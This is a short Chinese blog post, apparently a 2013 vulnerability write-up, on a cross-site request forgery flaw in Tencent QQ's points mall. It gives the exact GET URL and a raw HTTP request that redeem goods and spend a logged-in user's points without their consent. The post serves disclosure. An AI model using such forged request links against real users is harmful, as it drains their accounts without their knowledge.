腾讯QQ积分CSRF导致积分任意挥霍(我的积分为什么少了)

触发点:http://jifen.qq.com/html5/index.html?ADTAG=JIFEN.MART.INDEX

随意兑换一个商品:
wps_clip_image-3342
因为刚才我已经兑换过了,所以积分没有了..
没关系,我们换一个QQ!
首先我们查询下积分：
wps_clip_image-12716
然后我们直接访问以下链接：

http://jifen.qq.com/cgi-bin/mart/pay_item.cgi?GoodsID=商品编号&aid=JIFEN.OTHER.1129.CLICK&callback=http%3A%2F%2Fjifen.qq.com%2Fhtml5%2Fcallback.html

兑换一个QQ网络硬盘64M 
GoodsID就相当于商品号
wps_clip_image-25662

http://jifen.qq.com/cgi-bin/mart/pay_item.cgi?GoodsID=1352&aid=JIFEN.OTHER.1129.CLICK&callback=http%3A%2F%2Fjifen.qq.com%2Fhtml5%2Fcallback.html

wps_clip_image-17013

GET /cgi-bin/mart/pay_item.cgi?GoodsID=1352&aid=JIFEN.OTHER.1129.CLICK&callback=http%3A%2F%2Fjifen.qq.com%2Fhtml5%2Fcallback.html HTTP/1.1
Host: jifen.qq.com
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

然后积分就莫名其妙少了..
wps_clip_image-123

posted @ 2013-07-12 10:34  y0umer  阅读(746)  评论(0)  编辑  收藏  举报